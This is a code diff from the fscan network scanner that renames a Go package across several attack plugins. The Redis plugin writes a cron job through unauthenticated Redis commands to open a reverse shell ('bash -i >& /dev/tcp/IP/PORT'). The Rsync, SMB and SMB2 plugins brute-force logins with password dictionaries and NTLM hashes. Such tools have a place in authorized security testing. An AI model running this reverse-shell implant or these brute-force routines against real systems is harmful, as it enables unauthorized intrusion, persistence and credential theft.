Common.LogDebug("成功设置cron目录") common.LogDebug("成功设置cron目录")
// 设置数据库文件名为root // 设置数据库文件名为root
Common.LogDebug("设置文件名: root") common.LogDebug("设置文件名: root")
if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil { if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err)) common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
@ -779,38 +780,38 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
// 解析目标主机地址 // 解析目标主机地址
target := strings.Split(host, ":") target := strings.Split(host, ":")
if len(target) < 2 { if len(target) < 2 {
Common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host)) common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
return flag, "主机地址格式错误", err return flag, "主机地址格式错误", err
} }
scanIp, scanPort := target[0], target[1] scanIp, scanPort := target[0], target[1]
Common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort)) common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
// 写入反弹shell的定时任务 // 写入反弹shell的定时任务
Common.LogDebug("写入定时任务") common.LogDebug("写入定时任务")
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
scanIp, scanPort) scanIp, scanPort)
if _, err = conn.Write([]byte(cronCmd)); err != nil { if _, err = conn.Write([]byte(cronCmd)); err != nil {
Common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err)) common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
// 保存更改 // 保存更改
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
Common.LogDebug("保存更改") common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil { if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err)) common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err return flag, text, err
} }
if text, err = readreply(conn); err != nil { if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
Common.LogDebug("定时任务写入成功") common.LogDebug("定时任务写入成功")
flag = true flag = true
} }
} }
@ -822,17 +823,17 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
if len(text) > 50 { if len(text) > 50 {
text = text[:50] text = text[:50]
} }
Common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text)) common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err return flag, text, err
} }
// Readfile 读取文件内容并返回第一个非空行 // Readfile 读取文件内容并返回第一个非空行
func Readfile(filename string) (string, error) { func Readfile(filename string) (string, error) {
Common.LogDebug(fmt.Sprintf("读取文件: %s", filename)) common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
file, err := os.Open(filename) file, err := os.Open(filename)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("打开文件失败: %v", err)) common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
return "", err return "", err
} }
defer file.Close() defer file.Close()
@ -841,43 +842,43 @@ func Readfile(filename string) (string, error) {
for scanner.Scan() { for scanner.Scan() {
text := strings.TrimSpace(scanner.Text()) text := strings.TrimSpace(scanner.Text())
if text != "" { if text != "" {
Common.LogDebug("找到非空行") common.LogDebug("找到非空行")
return text, nil return text, nil
} }
} }
Common.LogDebug("文件内容为空") common.LogDebug("文件内容为空")
return "", err return "", err
} }
// readreply 读取Redis服务器响应 // readreply 读取Redis服务器响应
func readreply(conn net.Conn) (string, error) { func readreply(conn net.Conn) (string, error) {
Common.LogDebug("读取Redis响应") common.LogDebug("读取Redis响应")
// 设置1秒读取超时 // 设置1秒读取超时
conn.SetReadDeadline(time.Now().Add(time.Second)) conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn) bytes, err := io.ReadAll(conn)
if len(bytes) > 0 { if len(bytes) > 0 {
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes))) common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes)))
err = nil err = nil
} else { } else {
Common.LogDebug("未收到响应数据") common.LogDebug("未收到响应数据")
} }
return string(bytes), err return string(bytes), err
} }
// getconfig 获取Redis配置信息 // getconfig 获取Redis配置信息
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
Common.LogDebug("开始获取Redis配置信息") common.LogDebug("开始获取Redis配置信息")
// 获取数据库文件名 // 获取数据库文件名
Common.LogDebug("获取数据库文件名") common.LogDebug("获取数据库文件名")
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil { if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err)) common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
return return
} }
text, err := readreply(conn) text, err := readreply(conn)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
return return
} }
@ -888,17 +889,17 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
} else { } else {
dbfilename = text1[0] dbfilename = text1[0]
} }
Common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename)) common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
// 获取数据库目录 // 获取数据库目录
Common.LogDebug("获取数据库目录") common.LogDebug("获取数据库目录")
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil { if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err)) common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
return return
} }
text, err = readreply(conn) text, err = readreply(conn)
if err != nil { if err != nil {
Common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
return return
} }
@ -909,37 +910,37 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
} else { } else {
dir = text1[0] dir = text1[0]
} }
Common.LogDebug(fmt.Sprintf("数据库目录: %s", dir)) common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
return return
} }
// recoverdb 恢复Redis数据库配置 // recoverdb 恢复Redis数据库配置
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
Common.LogDebug("开始恢复Redis数据库配置") common.LogDebug("开始恢复Redis数据库配置")
// 恢复数据库文件名 // 恢复数据库文件名
Common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename)) common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil { if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil {
Common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err)) common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
return return
} }
if _, err = readreply(conn); err != nil { if _, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
return return
} }
// 恢复数据库目录 // 恢复数据库目录
Common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir)) common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil { if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil {
Common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err)) common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
return return
} }
if _, err = readreply(conn); err != nil { if _, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
return return
} }
Common.LogDebug("数据库配置恢复完成") common.LogDebug("数据库配置恢复完成")
return return
} }

View File

@ -7,7 +7,8 @@ import (
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// RsyncCredential 表示一个Rsync凭据 // RsyncCredential 表示一个Rsync凭据
@ -25,21 +26,21 @@ type RsyncScanResult struct {
ModuleName string ModuleName string
} }
func RsyncScan(info *Common.HostInfo) error { func RsyncScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 首先尝试匿名访问 // 首先尝试匿名访问
Common.LogDebug("尝试匿名访问...") common.LogDebug("尝试匿名访问...")
anonymousResult := tryRsyncCredential(ctx, info, RsyncCredential{"", ""}, Common.Timeout, Common.MaxRetries) anonymousResult := tryRsyncCredential(ctx, info, RsyncCredential{"", ""}, common.Timeout, common.MaxRetries)
if anonymousResult.Success { if anonymousResult.Success {
// 匿名访问成功 // 匿名访问成功
@ -49,8 +50,8 @@ func RsyncScan(info *Common.HostInfo) error {
// 构建凭据列表 // 构建凭据列表
var credentials []RsyncCredential var credentials []RsyncCredential
for _, user := range Common.Userdict["rsync"] { for _, user := range common.Userdict["rsync"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, RsyncCredential{ credentials = append(credentials, RsyncCredential{
Username: user, Username: user,
@ -59,11 +60,11 @@ func RsyncScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rsync"]), len(Common.Passwords), len(credentials))) len(common.Userdict["rsync"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentRsyncScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentRsyncScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 保存成功结果 // 保存成功结果
saveRsyncResult(info, target, result) saveRsyncResult(info, target, result)
@ -73,18 +74,18 @@ func RsyncScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Rsync扫描全局超时") common.LogDebug("Rsync扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问 common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil return nil
} }
} }
// concurrentRsyncScan 并发扫描Rsync服务 // concurrentRsyncScan 并发扫描Rsync服务
func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials []RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult { func concurrentRsyncScan(ctx context.Context, info *common.HostInfo, credentials []RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -130,7 +131,7 @@ func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -151,14 +152,14 @@ func concurrentRsyncScan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("Rsync并发扫描全局超时") common.LogDebug("Rsync并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// tryRsyncCredential 尝试单个Rsync凭据 // tryRsyncCredential 尝试单个Rsync凭据
func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult { func tryRsyncCredential(ctx context.Context, info *common.HostInfo, credential RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -171,7 +172,7 @@ func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential R
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -193,7 +194,7 @@ func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential R
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -208,12 +209,12 @@ func tryRsyncCredential(ctx context.Context, info *Common.HostInfo, credential R
} }
// RsyncConn 尝试Rsync连接 // RsyncConn 尝试Rsync连接
func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, string, error) { func RsyncConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, string, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
// 建立连接 // 建立连接
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout) conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
if err != nil { if err != nil {
return false, "", err return false, "", err
} }
@ -330,7 +331,7 @@ func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass str
} }
// 5. 为每个模块创建新连接尝试认证 // 5. 为每个模块创建新连接尝试认证
authConn, err := Common.WrapperTcpWithTimeout(host, port, timeout) authConn, err := common.WrapperTcpWithTimeout(host, port, timeout)
if err != nil { if err != nil {
continue continue
} }
@ -437,7 +438,7 @@ func RsyncConn(ctx context.Context, info *Common.HostInfo, user string, pass str
} }
// saveRsyncResult 保存Rsync扫描结果 // saveRsyncResult 保存Rsync扫描结果
func saveRsyncResult(info *Common.HostInfo, target string, result *RsyncScanResult) { func saveRsyncResult(info *common.HostInfo, target string, result *RsyncScanResult) {
var successMsg string var successMsg string
var details map[string]interface{} var details map[string]interface{}
@ -462,15 +463,15 @@ func saveRsyncResult(info *Common.HostInfo, target string, result *RsyncScanResu
} }
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -3,7 +3,8 @@ package Plugins
import ( import (
"context" "context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"github.com/stacktitan/smb/smb" "github.com/stacktitan/smb/smb"
"strings" "strings"
"sync" "sync"
@ -23,22 +24,22 @@ type SmbScanResult struct {
Credential SmbCredential Credential SmbCredential
} }
func SmbScan(info *Common.HostInfo) error { func SmbScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%s:%s", info.Host, info.Ports) target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 构建凭据列表 // 构建凭据列表
var credentials []SmbCredential var credentials []SmbCredential
for _, user := range Common.Userdict["smb"] { for _, user := range common.Userdict["smb"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, SmbCredential{ credentials = append(credentials, SmbCredential{
Username: user, Username: user,
@ -47,11 +48,11 @@ func SmbScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials))) len(common.Userdict["smb"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentSmbScan(ctx, info, credentials, Common.Timeout) result := concurrentSmbScan(ctx, info, credentials, common.Timeout)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveSmbResult(info, target, result.Credential) saveSmbResult(info, target, result.Credential)
@ -61,18 +62,18 @@ func SmbScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("SMB扫描全局超时") common.LogDebug("SMB扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil return nil
} }
} }
// concurrentSmbScan 并发扫描SMB服务 // concurrentSmbScan 并发扫描SMB服务
func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials []SmbCredential, timeoutSeconds int64) *SmbScanResult { func concurrentSmbScan(ctx context.Context, info *common.HostInfo, credentials []SmbCredential, timeoutSeconds int64) *SmbScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -106,7 +107,7 @@ func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials [
locked := lockedUsers[credential.Username] locked := lockedUsers[credential.Username]
lockedMutex.Unlock() lockedMutex.Unlock()
if locked { if locked {
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username)) common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
continue continue
} }
@ -125,7 +126,7 @@ func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials [
lockedMutex.Lock() lockedMutex.Lock()
lockedUsers[credential.Username] = true lockedUsers[credential.Username] = true
lockedMutex.Unlock() lockedMutex.Unlock()
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username)) common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
} }
} }
} }
@ -147,7 +148,7 @@ func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials [
continue // 跳过已锁定用户 continue // 跳过已锁定用户
} }
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -168,14 +169,14 @@ func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials [
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("SMB并发扫描全局超时") common.LogDebug("SMB并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// trySmbCredential 尝试单个SMB凭据 // trySmbCredential 尝试单个SMB凭据
func trySmbCredential(ctx context.Context, info *Common.HostInfo, credential SmbCredential, timeoutSeconds int64) *SmbScanResult { func trySmbCredential(ctx context.Context, info *common.HostInfo, credential SmbCredential, timeoutSeconds int64) *SmbScanResult {
// 创建单个连接超时上下文的结果通道 // 创建单个连接超时上下文的结果通道
resultChan := make(chan struct { resultChan := make(chan struct {
success bool success bool
@ -220,7 +221,7 @@ func trySmbCredential(ctx context.Context, info *Common.HostInfo, credential Smb
} }
// saveSmbResult 保存SMB扫描结果 // saveSmbResult 保存SMB扫描结果
func saveSmbResult(info *Common.HostInfo, target string, credential SmbCredential) { func saveSmbResult(info *common.HostInfo, target string, credential SmbCredential) {
// 构建结果消息 // 构建结果消息
var successMsg string var successMsg string
details := map[string]interface{}{ details := map[string]interface{}{
@ -231,35 +232,35 @@ func saveSmbResult(info *Common.HostInfo, target string, credential SmbCredentia
"type": "weak-password", "type": "weak-password",
} }
if Common.Domain != "" { if common.Domain != "" {
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, Common.Domain, credential.Username, credential.Password) successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, common.Domain, credential.Username, credential.Password)
details["domain"] = Common.Domain details["domain"] = common.Domain
} else { } else {
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, credential.Username, credential.Password) successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, credential.Username, credential.Password)
} }
// 记录成功日志 // 记录成功日志
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(result) common.SaveResult(result)
} }
// SmblConn 尝试建立SMB连接并认证 // SmblConn 尝试建立SMB连接并认证
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
options := smb.Options{ options := smb.Options{
Host: info.Host, Host: info.Host,
Port: 445, Port: 445,
User: user, User: user,
Password: pass, Password: pass,
Domain: Common.Domain, Domain: common.Domain,
Workstation: "", Workstation: "",
} }

View File

@ -8,7 +8,8 @@ import (
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"github.com/hirochachacha/go-smb2" "github.com/hirochachacha/go-smb2"
) )
@ -30,20 +31,20 @@ type Smb2ScanResult struct {
} }
// SmbScan2 执行SMB2服务的认证扫描支持密码和哈希两种认证方式 // SmbScan2 执行SMB2服务的认证扫描支持密码和哈希两种认证方式
func SmbScan2(info *Common.HostInfo) error { func SmbScan2(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%s:%s", info.Host, info.Ports) target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始SMB2扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始SMB2扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 根据是否提供哈希选择认证模式 // 根据是否提供哈希选择认证模式
if len(Common.HashBytes) > 0 { if len(common.HashBytes) > 0 {
return smbHashScan(ctx, info) return smbHashScan(ctx, info)
} }
@ -51,15 +52,15 @@ func SmbScan2(info *Common.HostInfo) error {
} }
// smbPasswordScan 使用密码进行SMB2认证扫描 // smbPasswordScan 使用密码进行SMB2认证扫描
func smbPasswordScan(ctx context.Context, info *Common.HostInfo) error { func smbPasswordScan(ctx context.Context, info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
// 构建凭据列表 // 构建凭据列表
var credentials []Smb2Credential var credentials []Smb2Credential
for _, user := range Common.Userdict["smb"] { for _, user := range common.Userdict["smb"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.ReplaceAll(pass, "{user}", user) actualPass := strings.ReplaceAll(pass, "{user}", user)
credentials = append(credentials, Smb2Credential{ credentials = append(credentials, Smb2Credential{
Username: user, Username: user,
@ -70,23 +71,23 @@ func smbPasswordScan(ctx context.Context, info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials))) len(common.Userdict["smb"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
return concurrentSmb2Scan(ctx, info, credentials) return concurrentSmb2Scan(ctx, info, credentials)
} }
// smbHashScan 使用哈希进行SMB2认证扫描 // smbHashScan 使用哈希进行SMB2认证扫描
func smbHashScan(ctx context.Context, info *Common.HostInfo) error { func smbHashScan(ctx context.Context, info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
// 构建凭据列表 // 构建凭据列表
var credentials []Smb2Credential var credentials []Smb2Credential
for _, user := range Common.Userdict["smb"] { for _, user := range common.Userdict["smb"] {
for _, hash := range Common.HashBytes { for _, hash := range common.HashBytes {
credentials = append(credentials, Smb2Credential{ credentials = append(credentials, Smb2Credential{
Username: user, Username: user,
Password: "", Password: "",
@ -96,17 +97,17 @@ func smbHashScan(ctx context.Context, info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d, 总组合数: %d)",
len(Common.Userdict["smb"]), len(Common.HashBytes), len(credentials))) len(common.Userdict["smb"]), len(common.HashBytes), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
return concurrentSmb2Scan(ctx, info, credentials) return concurrentSmb2Scan(ctx, info, credentials)
} }
// concurrentSmb2Scan 并发扫描SMB2服务 // concurrentSmb2Scan 并发扫描SMB2服务
func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials []Smb2Credential) error { func concurrentSmb2Scan(ctx context.Context, info *common.HostInfo, credentials []Smb2Credential) error {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -145,7 +146,7 @@ func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials
mutex.Unlock() mutex.Unlock()
if locked { if locked {
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username)) common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
